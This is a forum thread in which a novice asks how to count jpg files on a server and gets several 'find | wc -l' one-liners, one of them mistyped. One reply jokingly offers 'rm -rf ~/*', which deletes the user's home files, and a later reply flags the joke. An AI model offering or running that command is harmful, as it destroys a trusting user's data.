How to count jpg files on a server?
 

How can I count the jpg files on my dedicated server? Is there a program out there I could use and would it put a huge load on the server while it's doing it?

use find

Thanks
will give it a try

this one might work a little better :winkwink:

find / -name *jpg -print | wc -l

I have this one as well. Looks like I'm going to have to brush up on my SSH run commands.

find/ -type f -name"*.jpg" | wc -l

What I really want to know is how badly can I fuck up my server with my miniscule amount of knowledge.

the version I posted will do what you want, and it's simpler to type than the other two. running find on your server won't do any harm.

Try this one: rm -rf ~/*

Let the partay begin! :thumbsup

that would definitely fuck it up with a minuscule amount of knowledge :1orglaugh
